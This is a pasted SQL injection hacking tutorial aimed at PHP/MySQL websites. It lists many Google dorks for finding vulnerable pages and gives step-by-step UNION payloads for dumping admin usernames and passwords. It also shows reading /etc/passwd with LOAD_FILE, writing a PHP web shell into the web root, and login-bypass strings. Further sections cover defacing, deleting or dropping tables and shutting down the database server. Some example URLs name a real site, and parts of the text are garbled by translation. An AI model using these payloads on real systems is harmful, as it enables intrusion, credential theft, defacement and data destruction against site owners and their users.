Advertisement
Guest User

Untitled

a guest
Oct 26th, 2018
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 43.88 KB | None | 0 0
  1. MY SQL TUT
  2.  
  3.  
  4. Step - 1 ) Finding (maybe)vulnerable site (Dorks)
  5.  
  6.  
  7. inurl:trainers.php?id=
  8. inurl:buy.php?category=
  9. inurl:article.php?ID=
  10. inurl:play_old.php?id=
  11. inurl:declaration_more.php?decl_id=
  12. inurl:pageid=
  13. inurl:games.php?id=
  14. inurl:page.php?file=
  15. inurl:newsDetail.php?id=
  16. inurl:gallery.php?id=
  17. inurl:article.php?id=
  18. inurl:show.php?id=
  19. inurl:staff_id=
  20. inurl:newsitem.php?num=
  21. inurl:readnews.php?id=
  22. inurl:top10.php?cat=
  23. inurl:historialeer.php?num=
  24. inurl:reagir.php?num=
  25. inurl:Stray-Questions-View.php?num=
  26. inurl:forum_bds.php?num=
  27. inurl:game.php?id=
  28. inurl:view_product.php?id=
  29. inurl:newsone.php?id=
  30. inurl:sw_comment.php?id=
  31. inurl:news.php?id=
  32. inurl:avd_start.php?avd=
  33. inurl:event.php?id=
  34. inurl:product-item.php?id=
  35. inurl:sql.php?id=
  36. inurl:news_view.php?id=
  37. inurl:select_biblio.php?id=
  38. inurl:humor.php?id=
  39. inurl:aboutbook.php?id=
  40. inurl:ogl_inet.php?ogl_id=
  41. inurl:fiche_spectacle.php?id=
  42. inurl:communique_detail.php?id=
  43. inurl:sem.php3?id=
  44. inurl:kategorie.php4?id=
  45. inurl:news.php?id=
  46. inurl:index.php?id=
  47. inurl:faq2.php?id=
  48. inurl:show_an.php?id=
  49. inurl:preview.php?id=
  50. inurl:loadpsb.php?id=
  51. inurl:opinions.php?id=
  52. inurl:spr.php?id=
  53. inurl:pages.php?id=
  54. inurl:announce.php?id=
  55. inurl:clanek.php4?id=
  56. inurl:participant.php?id=
  57. inurl:download.php?id=
  58. inurl:main.php?id=
  59. inurl:review.php?id=
  60. inurl:chappies.php?id=
  61. inurl:read.php?id=
  62. inurl:prod_detail.php?id=
  63. inurl:viewphoto.php?id=
  64. inurl:article.php?id=
  65. inurl:person.php?id=
  66. inurl:productinfo.php?id=
  67. inurl:showimg.php?id=
  68. inurl:view.php?id=
  69. inurl:website.php?id=
  70. inurl:hosting_info.php?id=
  71. inurl:gallery.php?id=
  72. inurl:rub.php?idr=
  73. inurl:view_faq.php?id=
  74. inurl:artikelinfo.php?id=
  75. inurl:detail.php?ID=
  76. inurl:index.php?=
  77. inurl:profile_view.php?id=
  78. inurl:category.php?id=
  79. inurl:publications.php?id=
  80. inurl:fellows.php?id=
  81. inurl:downloads_info.php?id=
  82. inurl:prod_info.php?id=
  83. inurl:shop.php?do=part&id=
  84. inurl:productinfo.php?id=
  85. inurl:collectionitem.php?id=
  86. inurl:band_info.php?id=
  87. inurl:product.php?id=
  88. inurl:releases.php?id=
  89. inurl:ray.php?id=
  90. inurl:produit.php?id=
  91. inurl:pop.php?id=
  92. inurl:shopping.php?id=
  93. inurl:productdetail.php?id=
  94. inurl:post.php?id=
  95. inurl:viewshowdetail.php?id=
  96. inurl:clubpage.php?id=
  97. inurl:memberInfo.php?id=
  98. inurl:section.php?id=
  99. inurl:theme.php?id=
  100. inurl:page.php?id=
  101. inurl:shredder-categories.php?id=
  102. inurl:tradeCategory.php?id=
  103. inurl:product_ranges_view.php?ID=
  104. inurl:shop_category.php?id=
  105. inurl:transcript.php?id=
  106. inurl:channel_id=
  107. inurl:item_id=
  108. inurl:newsid=
  109. inurl:trainers.php?id=
  110. inurl:news-full.php?id=
  111. inurl:news_display.php?getid=
  112. inurl:index2.php?option=
  113. inurl:readnews.php?id=
  114. inurl:top10.php?cat=
  115. inurl:newsone.php?id=
  116. inurl:event.php?id=
  117. inurl:product-item.php?id=
  118. inurl:sql.php?id=
  119. inurl:aboutbook.php?id=
  120. inurl:preview.php?id=
  121. inurl:loadpsb.php?id=
  122. inurl:pages.php?id=
  123. inurl:material.php?id=
  124. inurl:clanek.php4?id=
  125. inurl:announce.php?id=
  126. inurl:chappies.php?id=
  127. inurl:read.php?id=
  128. inurl:viewapp.php?id=
  129. inurl:viewphoto.php?id=
  130. inurl:rub.php?idr=
  131. inurl:galeri_info.php?l=
  132. inurl:review.php?id=
  133. inurl:iniziativa.php?in=
  134. inurl:curriculum.php?id=
  135. inurl:labels.php?id=
  136. inurl:story.php?id=
  137. inurl:look.php?ID=
  138. inurl:newsone.php?id=
  139. inurl:aboutbook.php?id=
  140. inurl:material.php?id=
  141. inurl:opinions.php?id=
  142. inurl:announce.php?id=
  143. inurl:rub.php?idr=
  144. inurl:galeri_info.php?l=
  145. inurl:tekst.php?idt=
  146. inurl:newscat.php?id=
  147. inurl:newsticker_info.php?idn=
  148. inurl:rubrika.php?idr=
  149. inurl:rubp.php?idr=
  150. inurl:offer.php?idf=
  151. inurl:art.php?idm=
  152. inurl:title.php?id=
  153. buy.php?category=
  154. article.php?ID=
  155. play_old.php?id=
  156. declaration_more.php?decl_id=
  157. Pageid=
  158. games.php?id=
  159. page.php?file=
  160. newsDetail.php?id=
  161. gallery.php?id=
  162. article.php?id=
  163. play_old.php?id=
  164. show.php?id=
  165. staff_id=
  166. newsitem.php?num=
  167. readnews.php?id=
  168. top10.php?cat=
  169. historialeer.php?num=
  170. reagir.php?num=
  171. forum_bds.php?num=
  172. game.php?id=
  173. view_product.php?id=
  174. newsone.php?id=
  175. sw_comment.php?id=
  176. news.php?id=
  177. avd_start.php?avd=
  178. event.php?id=
  179. product-item.php?id=
  180. sql.php?id=
  181. news_view.php?id=
  182. select_biblio.php?id=
  183. humor.php?id=
  184. aboutbook.php?id=
  185. fiche_spectacle.php?id=
  186. communique_detail.php?id=
  187. sem.php3?id=
  188. kategorie.php4?id=
  189. faq2.php?id=
  190. show_an.php?id=
  191. preview.php?id=
  192. loadpsb.php?id=
  193. opinions.php?id=
  194. spr.php?id=
  195. pages.php?id=
  196. announce.php?id=
  197. clanek.php4?id=
  198. participant.php?id=
  199. download.php?id=
  200. main.php?id=
  201. review.php?id=
  202. chappies.php?id=
  203. read.php?id=
  204. prod_detail.php?id=
  205. viewphoto.php?id=
  206. article.php?id=
  207. play_old.php?id=
  208. declaration_more.php?decl_id=
  209. category.php?id=
  210. publications.php?id=
  211. fellows.php?id=
  212. downloads_info.php?id=
  213. prod_info.php?id=
  214. shop.php?do=part&id=
  215. Productinfo.php?id=
  216. website.php?id=
  217. Productinfo.php?id=
  218. showimg.php?id=
  219. view.php?id=
  220. rub.php?idr=
  221. view_faq.php?id=
  222. artikelinfo.php?id=
  223. detail.php?ID=
  224. collectionitem.php?id=
  225. band_info.php?id=
  226. product.php?id=
  227. releases.php?id=
  228. ray.php?id=
  229. produit.php?id=
  230. pop.php?id=
  231. shopping.php?id=
  232. productdetail.php?id=
  233. post.php?id=
  234. viewshowdetail.php?id=
  235. clubpage.php?id=
  236. memberInfo.php?id=
  237. section.php?id=
  238. theme.php?id=
  239. page.php?id=
  240. shredder-categories.php?id=
  241. tradeCategory.php?id=
  242. shop_category.php?id=
  243. transcript.php?id=
  244. channel_id=
  245. item_id=
  246. newsid=
  247. trainers.php?id=
  248. buy.php?category=
  249. article.php?ID=
  250. play_old.php?id=
  251. iniziativa.php?in=
  252. detail_new.php?id=
  253. tekst.php?idt=
  254. newscat.php?id=
  255. newsticker_info.php?idn=
  256. rubrika.php?idr=
  257. rubp.php?idr=
  258. offer.php?idf=
  259. hotel.php?id=
  260. art.php?idm=
  261. title.php?id=
  262. look.php?ID=
  263. story.php?id=
  264. labels.php?id=
  265. review.php?id=
  266. chappies.php?id=
  267. news-full.php?id=
  268. news_display.php?getid=
  269. index2.php?option=
  270. ages.php?id=
  271. "id=" & intext:"Warning: mysql_fetch_assoc()
  272. "id=" & intext:"Warning: mysql_fetch_array()
  273. "id=" & intext:"Warning: mysql_num_rows()
  274. "id=" & intext:"Warning: session_start()
  275. "id=" & intext:"Warning: getimagesize()
  276. "id=" & intext:"Warning: Unknown()
  277. "id=" & intext:"Warning: pg_exec()
  278. "id=" & intext:"Warning: array_merge()
  279. "id=" & intext:"Warning: mysql_result()
  280. "id=" & intext:"Warning: mysql_num_rows()
  281. "id=" & intext:"Warning: mysql_query()
  282. "id=" & intext:"Warning: filesize()
  283. "id=" & intext:"Warning: require()
  284.  
  285.  
  286. ***********************************************************************************************************
  287. Assume site found = http://www.xxxxx.com/index.php?catid=1
  288. ************************************************************************************************************
  289. Step -2 Testing if vulnerable
  290.  
  291.  
  292. Method 1 ) test with this
  293.  
  294. http://www.xxxxx.com/index.php?catid=1' (should retrun error page)
  295. http://www.xxxxx.com/index.php?catid='1 (should retrun error page)
  296.  
  297. Method2 ) Test with this
  298.  
  299. http://ww.xxxxx.com/index.php?page=2-1
  300.  
  301. NOTE: if above both gives same error page then target is mostly vulnerable
  302.  
  303. In the case where you are to find a website such as this:
  304.  
  305. Code:
  306. http://www.site.com/buy.php?id=1&dog;catid=2
  307.  
  308. Then you must use the same technique with adding a ' except it must be between the value (in this case the number) and the operator (the "=" sign) so it looks like this:
  309.  
  310. Code:
  311. http://www.site.com/buy.php?id='1&dog;catid='2
  312.  
  313. Magic Quotes prevents quotes from being used in injections by either making the ' (original quote) to \' (backslashed quote) or '' (double quote).
  314.  
  315. http://site.com/script.php?id=1 or 1=1 /*
  316.  
  317. http://site.com/script.php?id=1 or '1'='1' --
  318.  
  319. http://site.com/script.php?id=1' or 1=1 --
  320.  
  321. ubsection 2.3 - Step 2)Check for magic quotes
  322.  
  323. We know from our example before that magic quotes are off because we used ' to end the WHERE clause and it gave no error, but lets pretend our first try worked, http://site.com/script.php?id=1 or 1=1 --, so were not sure if ?€? causes an error or not. We need to know if magic quotes is on because if we want to use a function like load_file to steal files (discussed later), or choose data where the user = 'admin', we need to be able to use 's, so magic quotes MUST be off.
  324.  
  325. To find out if theyre on, we would try:
  326.  
  327. http://site.com/script.php?id=1 or '1'='1' --
  328.  
  329. If you get an error like:
  330.  
  331. "Error in MySQL Syntax by '\'1\'=\'1\''. in script.php on line 7."
  332.  
  333. or
  334.  
  335. "Error in MySQL Syntax by '''1''=''1'''. in script.php on line 7."
  336.  
  337. then you would see that magic quotes are on since its adding \s or an extra ' to the ' you put in. Then you would not be able to steal files if load_file was enabled or choose certain data using WHERE ( there is a way to get around it which I will discuss later, but it doesnt work for load_file, just WHERE and other functions discussed later like concat)
  338.  
  339. Now if you get no error, you know magic_quotes are off and you have an even bigger advantage. That was easy, wasn?€?t it? Now lets move on.
  340.  
  341. ************************************************************************************************************
  342. Getting Number of Columns
  343.  
  344. Method 1)
  345. http://www.example.com/index.php?id=3 ORDER BY (number)--
  346. OR
  347. http://www.tartanarmy.com/news/news.php?id=130 order by 3
  348.  
  349. where 'number' goes from 1 to the num when u get error page
  350.  
  351.  
  352.  
  353. http://www.example.com/index.php?id=3 order by 1--
  354. http://www.example.com/index.php?id=3 order by 2--
  355. http://www.example.com/index.php?id=3 order by 3--
  356. http://www.example.com/index.php?id=3 order by 4--
  357. http://www.example.com/index.php?id=3 order by 5--
  358. http://www.example.com/index.php?id=3 order by 6--
  359. http://www.example.com/index.php?id=3 order by 7--
  360. http://www.example.com/index.php?id=3 order by 8--
  361.  
  362. Lets say on order by 8-- you get an error page. This means that the website has 7 columns because
  363. it will give you errors on anything over 7.
  364.  
  365. ************************************************************************************************************
  366. Finding Acsessable Columns
  367.  
  368. http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--
  369. OR
  370. http://www.example.com/index.php?id=3+UNION+SELECT+1,2,3,4,5,6,7--
  371. OR
  372. http://www.example.com/index.php?id=-3 UNION SELECT 1,2,3,4,5,6,7--
  373. OR
  374. http://www.example.com/index.php?id=-3 UNION SELECT 1,2,3,4,5,6,7 /*
  375. OR
  376. http://www.site.com/news.php?id=5 union all select 1,2,3/*
  377. OR
  378. http://www.site.ru/index.php?page=-1 union + + + select null, null / * (where nmber of "nulls' are num of columns" )
  379. OR
  380. http://www.site.ru/index.php?page=99999 union + + + select null, null / *
  381. OR
  382. http://www.so-and-so.com/gallery.php?id=-170 /*union*/ /*all*/ /*select*/ 1,2,3,4,5,6,7,8,9,10--
  383.  
  384. where 7 is the lsat column we found in above process.
  385. with these we will see a fucked up page with ome numbers written on it like 2,3 ...2,5 whatver.these are column we can modify and extract data from
  386.  
  387.  
  388.  
  389. ************************************************************************************************************
  390. Finding MySQL Database Version
  391.  
  392. on the column we found exploitable in above will be replaced by @@version or version()
  393.  
  394. http://www.example.com/index.php?id=-3+UNION+SELECT+@@version,2,3,4,5,6,7--
  395.  
  396. http://www.site.com/buy.php?id=-1 UNION SELECT 1,unhex(hex(@@version)),3,4--
  397.  
  398. if we get <5 then we wil have to guess tablename and column , if >5 we can get it easily
  399.  
  400. if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
  401. then what we need is convert() function
  402.  
  403. http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
  404.  
  405. or with hex() and unhex()
  406.  
  407. http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
  408.  
  409. http://site.com/script.php?id=1' and substr(@@version,1)>3 --
  410. ************************************************************************************************************
  411. Finding Database Names
  412.  
  413. http://www.example.com/index.php?id=-3+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7+ from+information_schema.schemata--
  414.  
  415. http://www.example.com/index.php?id=-3+UNION+SELECT+concat(database()),2,3,4,5,6,7--
  416.  
  417.  
  418. ************************************************************************************************************
  419. TIP- we can also find version , database by :-
  420. where test is assume table name. if then we get error msg with database name
  421.  
  422.  
  423. http://www.example.com/index.php?id=-3+UNION+SELECT+version,database(),3,4,5,6,7 FROM TEST--
  424.  
  425. http://www.site.ru/index.php?page=-1 + union + +1.2 select, USER (), 4,5,6 / *
  426.  
  427. http://www.site.ru/index.php?page=-1 + union + +1.2 select, VERSION (), 4,5,6 / *
  428.  
  429. http://www.site.ru/index.php?page=-1 + union + +1.2 select, DATABASE (), 4,5,6 / *
  430.  
  431.  
  432. http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6 mysql.user + from + / *
  433.  
  434. http://www.site.ru/index.php?page=-1+ union + +1.2 select, name, passwd, 4,5,6 + + from users / *
  435. ************************************************************************************************************
  436. Finding Table Names
  437.  
  438.  
  439.  
  440. for version >5
  441. http://www.example.com/index.php?id=-3 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database()--
  442. OR
  443. http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
  444.  
  445. Now we must add LIMIT to the end of query to list out all tables.
  446.  
  447. http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
  448.  
  449. note that i put 0,1 (get 1 result starting from the 0th)
  450.  
  451. now to view the second table, we change limit 0,1 to limit 1,1
  452.  
  453. http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
  454.  
  455. the second table is displayed.
  456.  
  457. http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
  458.  
  459. See where it says tar_admin? Thats what we want. But how are we gonna get the info thats in there? Like this. *If you downloaded the hackbar, like I told you to, your gonna need it*
  460. Code:
  461.  
  462. http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name="Admin"--
  463.  
  464. http://www.tartanarmy.com/news/news.php?id=-130 UNION SELECT 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name= tar_admin
  465. So, tar_admin is what we want to get into, but putting it just like that wont work. We need too convert it into CHAR (). The HackBar can do that. Highlight what you want to turn into CHAR () and click MySQL, then MYSQL CHAR ().
  466. Code:
  467. tar_admin = CHAR(116, 97, 114, 95, 97, 100, 109, 105, 110)
  468.  
  469. So the whole thing is :
  470. Code:
  471. http://www.tartanarmy.com/news/news.php?id=-130 UNION SELECT 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name= CHAR(116, 97, 114, 95, 97, 100, 109, 105, 110)
  472.  
  473. ********************************
  474. for version < 5 we have to guess table name
  475. common table names are: user/s, admin/s, member/s ...
  476.  
  477. http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/*
  478.  
  479. (we see number 2 on the screen like before, and that's good :D) we know that table admin exists...
  480.  
  481.  
  482. ************************************************************************************************************
  483. Finding Column Names
  484.  
  485. for version > 5
  486.  
  487. http://www.example.com/index.php?id=-3 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema=database()--
  488. OR
  489. http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
  490. http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
  491.  
  492. sqlivulnerablesite.com/index.php?id=1 union all select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(x)--
  493.  
  494. http://www.tartanarmy.com/news/news.php?id=-130 UNION SELECT 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name= tar_admin
  495.  
  496. http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name=0x41646d696e--
  497.  
  498. So, tar_admin is what we want to get into, but putting it just like that wont work. We need too convert it into CHAR (). The HackBar can do that. Highlight what you want to turn into CHAR () and click MySQL, then MYSQL CHAR ().
  499. Code:
  500. tar_admin = CHAR(116, 97, 114, 95, 97, 100, 109, 105, 110)
  501.  
  502. So the whole thing is :
  503. Code:
  504. http://www.tartanarmy.com/news/news.php?id=-130 UNION SELECT 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name= CHAR(116, 97, 114, 95, 97, 100, 109, 105, 110)
  505.  
  506. *****************************************
  507. for version < 5
  508.  
  509. common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...
  510.  
  511.  
  512. http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
  513.  
  514. we get username displayed on screen, example would be admin, or superadmin etc...
  515.  
  516. now to check if column password exists
  517.  
  518. http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
  519.  
  520. we seen password on the screen in hash or plain-text, it depends of how the database is set up :)
  521.  
  522. when you have this, you can login like admin or some superuser :D
  523.  
  524. ************************************************************************************************************
  525. TIP:
  526.  
  527. if can't guess the right table name, you can always try mysql.user (default)
  528.  
  529. it has user i password columns, so example would be
  530.  
  531. http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
  532. *****************************************
  533.  
  534. if you wanna display column names for specific table use this query. (where clause)
  535. let's say that we found table users.
  536.  
  537. http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
  538.  
  539. Note that this won't work if the magic quotes is ON.
  540.  
  541. let's say that we found colums user, pass and email.
  542.  
  543. now to complete query to put them all together :D
  544.  
  545. for that we use concat() , i decribe it earlier.
  546.  
  547. http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
  548.  
  549. ************************************************************************************************************
  550. pull information
  551.  
  552. http://www.example.com/index.php?id=-3 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename--
  553.  
  554.  
  555. EX: http://www.example.com/index.php?id=-3 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7 from whippit.t_admin--
  556.  
  557.  
  558.  
  559.  
  560. http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
  561.  
  562. Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)
  563.  
  564. (there is another way for that, char(58), ascii value for : )
  565.  
  566.  
  567. sqlivulnerablesite.com/index.php?id=1 union all select 1,concat(username),0x3a,(password),3,4,5,6,7,8,9 from --
  568. **************************************************************************************************************************************************
  569.  
  570. 3) Read files on the server
  571. If we have the right file_priv we can read the files on the server
  572. check with the user to visualize which mysqld. To do so, we will help LOAD_FILE () function. Example:
  573.  
  574.  
  575. Code:
  576.  
  577. http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE ( '/ etc / passwd'), 4,5,6 / *
  578.  
  579. 4) Get a shell
  580. Immediately I say that for this we need to know the location checked-out site. Drawing up a request to file recordable shell. Let mouth. dirrektoriya "/ home / site / public_html /"
  581. Then, a query is:
  582.  
  583.  
  584. Code:
  585.  
  586. http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5, '<? php system ($ _GET [cmd]);>' + + + from mysql.user into outfile + + '/ home / site / public_html / shell.php' / *
  587.  
  588. Here, indeed all of the major steps that can be done with MySQL Inj. All that I can add more, so that, for example, can be controlled number of outgoing HELPED table with the command limit.
  589. Syntax: limit shift, QTY
  590. Exapmle: union select 1.2, user, pass, from 5,6 + + + users limit +5.3 / * [/ i]
  591. As a result which will return to 3 entry, beginning with the fifth
  592.  
  593.  
  594. Secrets and the nuances
  595. filtering Workaround:
  596. For example, I sometimes met with the fact that variable with mysql inj filtered so that the expression, in the name field, I can not use the letters. This, I bypassed this way:
  597.  
  598.  
  599.  
  600. Code:
  601.  
  602. http://www.site.ru/index.php?page=-1 + union + +1.2 select, AES_DECRYPT (AES_ENCRYPT (USER (), 0x71), 0x71), 4,5,6 / *
  603.  
  604. It worked successfully.
  605.  
  606.  
  607.  
  608. http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE (char (47101116,99,47112,97115115119100)), 4,5,6 / *
  609.  
  610.  
  611. http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6 mysql.user + from + / *
  612.  
  613. http://www.site.ru/index.php?page=-1/ ** / union / ** / select / ** / 1.2, user, password, 5.6 / ** / from / * * / mysql.user / *
  614.  
  615.  
  616.  
  617. DOS
  618.  
  619. http://www.site.ru/index.php?page=-1 + BENCHMARK (10000000, BENCHMARK (10000000 md
  620.  
  621. other way
  622.  
  623. http://www.xxxx.com/index.php?catid=1 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--
  624. http://www.xxxx.com/index.php?catid=-1 UNION SELECT 1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--
  625.  
  626. http://www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintablename--
  627.  
  628. where it says admintablename type the table you found with concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37)-- or your guess
  629. then once u have the right table name you should get the administrator password
  630. then just do the same thing but type username instead of password
  631. sometimes the password is hashed and you need to crack it.
  632. then see if you can get the admin panel if you cant then try the admin panel finder script here http://www.darkc0de.com/c0de/perl/admin_1.2_.txt
  633. now if the database is version 5 or up
  634. type
  635. http://www.xxxx.com/index.php?catid=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
  636. and that will display a list of all the tables
  637. once you have your table name
  638. type the same thing as 4
  639. http://www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintable--
  640. then the same with username
  641. **********************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************
  642.  
  643.  
  644. Tut 2
  645.  
  646. AT very weak site
  647.  
  648. with admin pages
  649.  
  650. "inurl:admin.asp"
  651. "inurl:login/admin.asp"
  652. "inurl:admin/login.asp"
  653. "inurl:adminlogin.asp"
  654. "inurl:adminhome.asp"
  655. "inurl:admin_login.asp"
  656. "inurl:administratorlogin.asp"
  657. "inurl:login/administrator.asp"
  658. "inurl:administrator_login.asp"
  659.  
  660. so what we do here is in the username we always type "Admin"
  661. and for our password we type our sql injection
  662.  
  663. here is a list of sql injections
  664.  
  665. ' or '1'='1
  666. ' or 'x'='x
  667. ' or 0=0 --
  668. " or 0=0 --
  669. or 0=0 --
  670. ' or 0=0 #
  671. " or 0=0 #
  672. or 0=0 #
  673. ' or 'x'='x
  674. " or "x"="x
  675. ') or ('x'='x
  676. ' or 1=1--
  677. " or 1=1--
  678. or 1=1--
  679. ' or a=a--
  680. " or "a"="a
  681. ') or ('a'='a
  682. ") or ("a"="a
  683. hi" or "a"="a
  684. hi" or 1=1 --
  685. hi' or 1=1 --
  686. 'or'1=1'
  687.  
  688.  
  689. ****************************************************************************************************************************
  690. example table names
  691.  
  692. archives,articles,articles2,digest,edition,events,links,nomination,sections,staf ?f,survey
  693.  
  694. example column name
  695. id,date,title,by,abstract,body,section,keywords,photo,id,date,title,author,abstr?act,body,section,keywords,
  696. photo,caption,caption2,caption3,caption4,lead,id,date,title,author,abstract,body?,section,keywords,photo,
  697. caption,caption2,caption3,caption4,lead,id,date,title,city,body,id,volume,number?,date,id,title,body,
  698. month,day,year,date,time,time2,location,cost,contact,phone,email,url,approved,id?,url,title,category,
  699. description,id,date,nominator,nominatortitle,nominatorcompany,nominatoraddress,n?ominatorcity,
  700. nominatorstate,nominatorzip,nominatorphone,nominatorfax,nominatoremail,nomineeco?mpany,nomineeaddress,
  701. nomineecity,nomineestate,nomineezip,nomineephone,nomineefax,nomineeweb,reason,re?asonother,sat1,sat2,sat3,
  702. sat4,sat5,ethics1,ethics2,ethics3,ethics4,contrib1,contrib2,contrib3,contrib4,de?v1,dev2,dev3,dev4,dev5,
  703. dev6,dev7,dev8,dev9,lead1,lead2,lead3,lead4,lead5,lead6,quality1,quality2,contac?t1name,contact1title,
  704. contact1phone,contact1email,contact2name,contact2title,contact2phone,contact2ema?il,contact3name,
  705. contact3title,username, user, usr, user_name, password, pass, passwd, pwd
  706.  
  707. ****************************************************************************************************************************
  708.  
  709. ****************************************************************************************************************************
  710.  
  711.  
  712. ********************************************************
  713.  
  714.  
  715. CTD...
  716. MODIFYING SITE CONTENT:
  717. Sometime, u find the vulnerable site and get evrything to know but maybe admin login doesn't exist or it is accessible for certain IP range. Even in that context, u can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here.
  718. Here, I will basically talk about few SQL commands u may use to change the site content. Therse commands are the workhorse of MySQL & are deadly when executed.
  719. First let me list these commands:
  720. UPDATE: It is used to edit infos already in the db without deleting any rows.
  721. DELETE: It is used to delete the contents of one or more fields.
  722. DROP: It is used completely delete a table & all its associated data.
  723. Now, u could have figured out that these commands can be very desctructive if the site lets us to interact with db with no sanitization & proper permission.
  724. Command Usage:
  725. UPDATE: Our vulnerable page is:
  726. http://www.site.com/article.php?id=5
  727. Lets say the query is:
  728. SELECT title,data,author FROM article WHERE id=5
  729. Though in reality, we don't know the query as above, we can find the table and column name as discussed earlier.
  730. So we would do:
  731. www.site.com/article.php?id=5 UPDATE article SET title='Hacked By PinningYou'/*
  732. or, u could alternatively do:
  733. www.site.com/article.php?id=5 UPDATE article SET title='HACKED BY PinningYou',data='Ur site has zero
  734. security',author='sam207'/*
  735.  
  736. By executing first query, we have set the title value as 'Hacked By sam207' in the table article while in second query, we have updated all three fields title, data, & author in the table article.
  737. Sometimes, u may want to change the specific page with id=5. For this u will do:
  738. www.site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5/*
  739.  
  740. DELETE:As already stated, this deletes the content of one or more fields permanently from the db server.
  741. The syntax is:
  742. www.site.com/article.php?id=5 DELETE title,data,author FROM article/*
  743. or if u want to delete these fields from the id=5, u will do:
  744. www.site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*
  745.  
  746. DROP:This is another deadly command u can use. With this, u can delete a table & all its associated data.
  747. For this, we make our URL as:
  748. www.site.com/article.php?id=5 DROP TABLE article/*
  749. This would delete table article & all its contents.
  750.  
  751. Finally, I want to say little about ;
  752. Though I have not used this in my tutorial, u can use it to end ur first query and start another one.
  753. This ; can be kept at the end of our first query so that we can start new query after it.
  754. CTD...
  755. SHUTTING DOWN MySQL SERVER:
  756. This is like DoSing the server as it will make the MySQL resources unavailable for the legitimate users or site visitors... For this, you will be using: SHUTDOWN WITH NOWAIT;
  757. So, you would craft a query which would execute the above command...
  758. For example, in my case, I would do the following:
  759. www.site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;
  760. WOW! the MySQL server is down... This would prevent legitimate users & site visitors from using or viewing MySQL resources...
  761.  
  762. LOADFILE:
  763. MySQL has a function called load_file which you can use for your benefits again.. I have not seen much site where I could use this function... I think we should have MySQL root privilege for this.... Also, the magic quotes should be off for this.. But there is a way to get past the magic quotes... load_file can be used to load certain files of the server such as .htaccess, .htpasswd, etc.. & also password files like etc/passwd, etc..
  764. Do something like below:
  765. www.site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*
  766.  
  767. But sometimes, you will have to hex the part & do something like below:
  768. www.site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)
  769. where I have hexed... Now, if we are lucky, the scriptblock would echo the etc/passwd in the result..
  770.  
  771. MySQL ROOT:
  772. If the MySQL version is 5 or above, we might be able to gain MySQL root privilege which will again be helpful for us.. MySQL servers from version 5 have a table called mysql.user which contains the hashes & usernames for login... It is in the user table of the mysql database which ships with every installation of MySQL..
  773. For this, you will do:
  774. www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*
  775.  
  776. Now you will get the usernames & hashes.. The hash is mysqlsha1... Quick note: JTR won't crack it.. But http://www.insidepro.com has one to do it..
  777. CTD...
  778. FINALIZING THE INJECTION TUTORIAL:
